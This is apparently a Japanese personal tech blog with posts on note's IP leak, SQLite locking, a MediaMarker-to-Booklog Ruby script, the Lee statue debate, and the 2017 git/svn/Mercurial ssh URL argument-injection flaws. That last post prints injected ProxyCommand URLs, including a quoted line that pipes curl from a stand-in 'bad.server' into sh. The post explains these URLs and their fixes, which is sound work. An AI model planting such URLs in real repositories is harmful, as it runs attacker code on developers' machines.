てきとうなメモ

本の感想とか技術メモとか

noteで執筆者のIPアドレスが漏洩した件

note.jp
note.jp

の件について思ったことをつらつらと

IPアドレスで個人特定可能か、IPアドレスは個人情報かどうか

これについては楠さんの説明が良さげ。単体で個人特定は難しいけど、いろいろ紐付けることができると個人特定できる可能性がある。そして紐付いた状態で保存されていると個人情報保護法の対象になる。

原因

今は修正済みなので自分は解析していないのだが、以下の方によるとAPIの出力にIPアドレスが入っていて、それをHTMLに出力したっぽい。


該当のAPIの出力を今見ると、IPアドレス等は出力されていないのだが、問題発生時は以下のような属性が出力されていたようだ。

last_sign_in_ipはRails+Deviseでユーザモデルが保持する属性なので、このAPIRails+Deviseで構成されていると予想される。

Devise批判

Deviseの属性をそのまま出しているということから、以下のようなDeviseに対する批判も出てきている。

diary.app.ssig33.com


ただ、自分の意見は以下の方の意見に近いかな。

sinsoku.hatenablog.com

DeviseはRailsを深く理解しないと使ってはダメと言っているのか

深く理解というのがどのレベルなのか曖昧なのだが、README読んだ感じだと、Railsの認証周りの文書を読んで、動きを理解してから使えよというぐらいかと。

Devise使うとIPアドレスが漏洩するか

User.attributes.to_jsonするとipアドレスが含まれるようだが、User.to_jsonでは含まれない。それ以前に、モデルクラスを何も加工せずにWeb APIのレスポンスとして出力する方が問題なので、DeviseではなくWeb API仕様・設計の問題だと思う。

再発防止策

noteが示している対策はそんなに悪くないのではという気がする。

対策
・全ソースコードに対して、IPアドレス及びそれ以外のセンシティブな情報が露出するような同様の欠陥がないことを調査し、さらに対応するデータベースからIPアドレスのデータを削除しました
・CEO・CTO直轄の特別対策チームを結成して、直接の対策と構造的な課題や開発体制までを含めた徹底的な見直しを行います
ソースコードのレビューおよびテストに今回の不具合や関連するセキュリティに対する観点を追加します
・データの持ち方やセンシティブな情報にアクセスするプロセスを見直します
・外部の複数の専門企業に依頼し、noteの脆弱性を発見・対策できるよう第三者の目線からの脆弱性診断をおこなってまいります

ただ、Web API仕様・設計のセキュリティ観点のレビューもした方が良いと思う。

SQLiteのロック

ロックの種類とかは以下の説明を読めばよいのだけども、RESERVEDやPENDINGなど特殊なロックがあるので、実際にどう実装しているのか気になった

www.sqlite.org

ソースコード読むに以下のような感じ。(src/{os.h,os_win.c,os_unix.c})

  • Windowsの場合はLockFileEx()やLockFile()を使う
    • NT系はLockFileExだが、非NT系(Windows 95/98/ME)はLockFileExがないのでLockFileを使う
      • LockFileは共有ロックが存在せず、常に排他ロックであるため、SHAREDロックを取得するためには、後述する510バイトのうちランダムに1バイトをロックするようにする。
        • そのため、95/98/MEでは運が悪いとSHAREDロックしか取られていないのにSHAREDロックを取れないはず
        • NT系と非NT系からアクセスがある場合は、非NT系がSHAREDロックを取ると、NT系はロックをとろうとする510バイトのうち1バイトがロックされているのでSHAREDロックを取れないし、NT系がSHAREDロックを取った場合も、非NT系は510バイトすべてロックされているので、SHAREDロックを取れない
        • まあ、今どきWin95/98/MEはほとんど使われていないと思うけども
  • UNIX系OSの場合はfcntl(fd, F_SETLK, ...)を使う
  • ロックするバイト範囲は実際のデータを書き込まない位置(0x40000000のあたり)を使う
    • PENDINGは0x40000000から1バイト
    • RESERVEDは0x40000001から1バイト
    • SHAREDとEXCLUSIVEは0x40000002から510バイト

ターミナルで文字化け

だいたい以下をチェックすれば直る気がする

  • ターミナルの文字コード設定
  • 環境変数LANG
    • コマンドが見るのは基本これ。コマンドのエラーメッセージなど
    • LANGとターミナルの文字コードを合わせればエラーメッセージなどは文字化けしない
    • sshするとログイン元の環境変数が引き継がれる場合があるので気をつける
    • utf-8のマシンからeuc-jpのマシンにログインしたが、LANGがja_JP.utf-8のままだったなど
  • screen
  • vim
    • vim -c ':e encoding=xxx'で開く
    • 開き直すときはコマンドモードで':e encoding=xxx'

mediamarkerからブクログに移行

だいぶ書いていなかったな。

mediamarkerが終了するということで、遅れながらブクログに移行してみた。

Excel等で編集して移行している人がいたのだが、面倒なので以下スクリプト使ってみた。

メディアマーカーの CSV をブクログ形式にするやつ · GitHub

たぶんこのままだとうまくいかない部分があったので、少し修正して以下のスクリプトを実行した。

mediamarkerから全項目をexport→スクリプトを実行→sjis文字コード変更→ブクログにimportするという流れ

#  -*- coding: utf-8 -*-
#
# メディアマーカーの CSV をブクログ形式にするやつ
# 使い方
#   ruby mm2bl.rb /path/to/MediaMarkerExport.csv > output.csv
# 参考
#   http://d.hatena.ne.jp/Unicellular/20120507/1336411135

require 'csv'

path = ARGV.shift
raise SystemExit.new 1 unless File.exists? path

lines = CSV.read(path)
lines.shift
lines = lines.map do |l| 
  # 今のmediamarkerの全出力は項目が多くなっているので修正。
  # また購入日を登録日に入れていたので、登録日を利用するように修正
  _, _, _, _, category, _, _, _, _, isbn, _, _, asin, register_date, _, tag, comment, assess, _, _, _, _, _, state, read_date, _, _ = *l

  servece_id = 1 
  state = case state
          when '未読' then '積読'
          when '読中' then 'いま読んでる'
          when '読了' then '読み終わった'
          else            '読みたい'
          end 
  memo = ''
  # タグはmediamarkerでは改行だが、ブクログではカンマ
  tag = tag.split(/[\r\n]+/).join(",")
  # タグが空だと自動的に何らかの日時がタグに入ってしまうようだ。空の場合はタグにして、管理画面から削除する
  tag = "タグ" if tag.empty?
  # read_dateは年-月-日形式だったので統一した。不要だったかも。
  register_date = register_date.gsub(%r|^(\d{4})/(\d{2})/(\d{2}).*$|, '\1-\2-\3')
  [servece_id, asin, isbn, category, assess, state, comment, tag, memo, register_date, read_date]
end

# 文字コード変換は実施せずに、nkf等で実施する
puts lines.map { |l| '"' + l.map { |w| w.to_s.gsub(/"/, '\"') }.join('","') + '"' }.join("\n")

リー将軍銅像撤去問題

町山智浩 バージニア州白人至上主義者集会の衝突事件を語る

痛ましい事件ではあるが、リー将軍銅像を撤去してしまうのかという部分が気になった。

wikipediaだと以下で少しまとまっている。

Robert Edward Lee Sculpture - Wikipedia

  • 副市長のWes Bellamyが銅像撤去とLee Parkという公園の名前の変更を市議会に要求
  • NAACP(全米黒人地位向上協会)のRick Turnerがリー将軍をテロリストと呼んだり、銅像は人種差別主義のサブリミナル効果を持っていると指摘
    • これは燃料投下感があるな
  • 市議会はブルーリボン委員会という特別委員会を作りそこで議論させる。
  • 2016年11月初めの時点では委員会は6対3で銅像を残す意見だった
  • 2016年11月28日、委員会は7対2で撤去に投票し、最終レポートとした。
    • 11月初めの時点との差が気になる。
  • 2017年2月、市議会は3対2で撤去に投票した。
    • 市議会のメンバーは5人なのか。
  • 撤去を止めるために様々な原告が裁判を起こす
  • 2017年4月、市議会で再度投票し、2月と同様に3対2で撤去に決まる。
  • 2017年5月、裁判所により、撤去が一時差し止められる。
  • そして、今回の事件

という流れ。市議会が決めたのであればしょうがないが、3対2で反対意見も強そうなのでもう一度議論するのも良いのではと思う。

この流れの前提の話として、こういった南軍側のモニュメントを撤去しようという運動がある。

Removal of Confederate monuments and memorials - Wikipedia

The monuments and memorials have become increasingly controversial due to differing interpretations of their meaning and importance. Historians have found that Confederate monuments were not built primarily as historical markers, but were instead intended to glorify, sanitize, and commemorate the Confederacy

歴史的なものではなく、連合国(南軍側)を美化するものだから撤去すべきだと。

Most Confederate monuments were built in periods of racial conflict, such as when Jim Crow laws were being introduced in the late 19th century and the start of the 20th century or during the Civil Rights Movement of the 1950s and 1960s.[5][6][7][8] New Confederate monuments continued to be proposed in recent years, and some have been built.

このロジックはどうなのかなと思うが。モニュメントが立てられている時期が人種間の衝突が大きかった時期と一致するので、差別を美化するために建てられたのだというロジックなのだが、年代との相関関係→因果関係に論理の飛躍があるし、年代ごとに、それらしい人種差別の事件を結びつけることができるんじゃないかな。

リー将軍奴隷制に反対だったのではという話があるが、そうではないという指摘も多いらしい。

Robert E. Lee - Wikipedia

In May 1858, Lee wrote to his son Rooney, "I have had some trouble with some of the people. Reuben, Parks & Edward, in the beginning of the previous week, rebelled against my authority—refused to obey my orders, & said they were as free as I was, etc., etc.—I succeeded in capturing them & lodging them in jail. They resisted till overpowered & called upon the other people to rescue them."[52] Less than two months after they were sent to the Alexandria jail, Lee decided to remove these three men and three female house slaves from Arlington, and sent them under lock and key to the slave-trader William Overton Winston in Richmond, who was instructed to keep them in jail until he could find "good & responsible" slaveholders to work them until the end of the five-year period

南北戦争の前の話ではあるが、歯向かった奴隷を刑務所に入れたり、奴隷商人に渡したりしたらしい。

また、

However, despite his stated opinions, Lee's troops under his command were allowed to raid settlements during major operations like the 1863 invasion of Pennsylvania to capture free blacks for enslavement.

リー将軍の軍は居留地を襲って黒人を奴隷化することを許可されていたらしい。

しかし、まだまだ奴隷制が色濃かった時代だしな。

じゃあ北軍はどうなのかと思って調べてみるに、リンカーンを白人至上主義者と指摘している歴史家もいるそうな。

Abraham Lincoln - Wikipedia

By the late 1960s, some African American intellectuals led by Lerone Bennett Jr., rejected Lincoln's role as the Great Emancipator.[363][364] Bennett won wide attention when he called Lincoln a white supremacist in 1968.[365] He noted that Lincoln used ethnic slurs and told jokes that ridiculed blacks. Bennett argued that Lincoln opposed social equality, and proposed sending freed slaves to another country.

そのうちリンカーン銅像撤去運動とかも出てくるかもしれんな。

gitなどのSCMのssh URL処理の脆弱性

Compromise On Checkout - Vulnerabilities in SCM Tools · The Recurity Lablog

ssh://-oProxyCommand=gnome-calculator/wat

というようなssh URLを処理しようとして、

ssh <ホスト名> ...

のような形式で渡すと

ssh -oProxyCommand=gnome-calculator ...

となって、gnome-calculatorが実行されてしまうという話。

このssh URLを直接gitコマンドの引数として渡すのであればすぐ気付くだろうが、このURLはgit-lfsの.lfsconfigやgit submoduleの.gitmodulesに記述
することができるので、URLを用いてだけではなく、1コミットがこのような内容を含んでいれば攻撃できてしまう。

とはいえ、lfsやsubmoduleを設定するコミットは大きな変更なので、通常はしっかりチェックされるだろうけど。

もともと、2004年ぐらいにMacSafariのURLハンドラの脆弱性として似たようなものはあったそうな。

Argument injection vulnerability in the SSH URI handler for Safari on Mac OS 10.3.3 and earlier allows remote attackers to (1) execute arbitrary code via the ProxyCommand option or (2) conduct port forwarding via the -R option.

で、調べてみると、gitだけではなくsvnmercurialにも同様の脆弱性があったそうな。

it could be confirmed that SVN was affected in the worst way: SVN follows HTTP 301 redirects to svn+ssh:// URLs. As a result, an innocent looking HTTP URL can be used to trigger a Command Execution with a 301 redirect.

svnの場合はhttp→sshへのリダイレクトも通してしまうようなので、これは怖いな。

修正はgitやsvnmercurialは"-"で始まるホスト名を弾くというもの。

gitは2.1.14.1で修正。

* A "ssh://..." URL can result in a "ssh" command line with a
hostname that begins with a dash "-", which would cause the "ssh"
command to instead (mis)treat it as an option. This is now
prevented by forbidding such a hostname (which should not impact
any real-world usage).

* Similarly, when GIT_PROXY_COMMAND is configured, the command is
run with host and port that are parsed out from "ssh://..." URL;
a poorly written GIT_PROXY_COMMAND could be tricked into treating
a string that begins with a dash "-" as an option. This is now
prevented by forbidding such a hostname and port number (again,
which should not impact any real-world usage).

* In the same spirit, a repository name that begins with a dash "-"
is also forbidden now.

このコミットとかかな。looks_like_command_line_optionで"-"始まりのホスト名をチェックし弾くようにしている。

"-"始まりのホスト名を弾いても問題ないのだっけと思ったが、RFC 952において、ホスト名は"-"で始まってはならないとしている。

<hname> ::= <name>*["."<name>]
<name>  ::= <let>[*[<let-or-digit-or-hyphen>]<let-or-digit>]

hnameがホスト名。最初はlet(letter)でないといけない。

svn1.9.7で修正。

This is a stable security release of the Apache Subversion open source
version control system. It fixes one security issue:

CVE-2017-9800:
Arbitrary code execution on clients through malicious svn+ssh URLs in
svn:externals and svn:sync-from-url
http://subversion.apache.org/security/CVE-2017-9800-advisory.txt

ここにパッチが記述されている。is_valid_hostinfoで"-"始まりのホスト名を弾いている。

mercurial4.3.1で修正されている。

1. Mercurial 4.3 / 4.3.1 (2017-08-10)
....
1.3. CVE-2017-1000116

Mercurial was not sanitizing hostnames passed to ssh, allowing shell injection attacks on clients by specifying a hostname starting with -oProxyCommand. This is also present in Git (CVE-2017-1000117) and Subversion (CVE-2017-9800), so please patch those tools as well if you have them installed.

このファイルのchecksafesshでチェックされている。

def checksafessh(path):
    """check if a path / url is a potentially unsafe ssh exploit (SEC)

    This is a sanity check for ssh urls. ssh will parse the first item as
    an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
    Let's prevent these potentially exploited urls entirely and warn the
    user.

    Raises an error.Abort when the url is unsafe.
    """
    path = urlreq.unquote(path)
    if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
        raise error.Abort(_('potentially unsafe url: %r') %
                          (path,))

git-lfs2.1.1で修正されている。

Git LFS v2.1.1 ships with bug fixes and a security patch fixing a remote code
execution vulnerability exploitable by setting a SSH remote via your
repository's .lfsconfig to contain the string "-oProxyCommand". This
vulnerability is only exploitable if an attacker has write access to your
repository, or you clone a repository with a .lfsconfig file containing that
string.

このプルリクかな。

他のソフトの修正とは異なり、"-"を弾かずに"--"を追加して、オプションの引数は終了したとsshクライアントに明示するようにしている。

history api メモ

いろいろ勘違いしていたのでメモ。

  • 履歴は現在の状態を含み、一番上に現在の状態を置く。
    • ので、新規タブを開いてページをロードすると、window.history.lengthは1になる
      • chromeの場合は新規タブを開いた時点でページがロードされたことになっているようで、そこから別ページをロードするとwindow.history.lengthは2になる。
  • pushStateは引数の状態を履歴の一番上に追加する。
  • replaceStateは履歴の一番上(現在の状態)を引数の状態に置き換える。
  • pushStateとreplaceStateの引き数のtitleはブラウザの履歴の部分に利用されるとは限らない
    • chrome,firefox,IE,Edgeはdocument.titleを書き換えないとダメ。Safariは引数のtitleを利用していた。
  • popstateイベントは同じドキュメント内でしか発生しない。別のサイトや別のページから戻った場合は発生しない。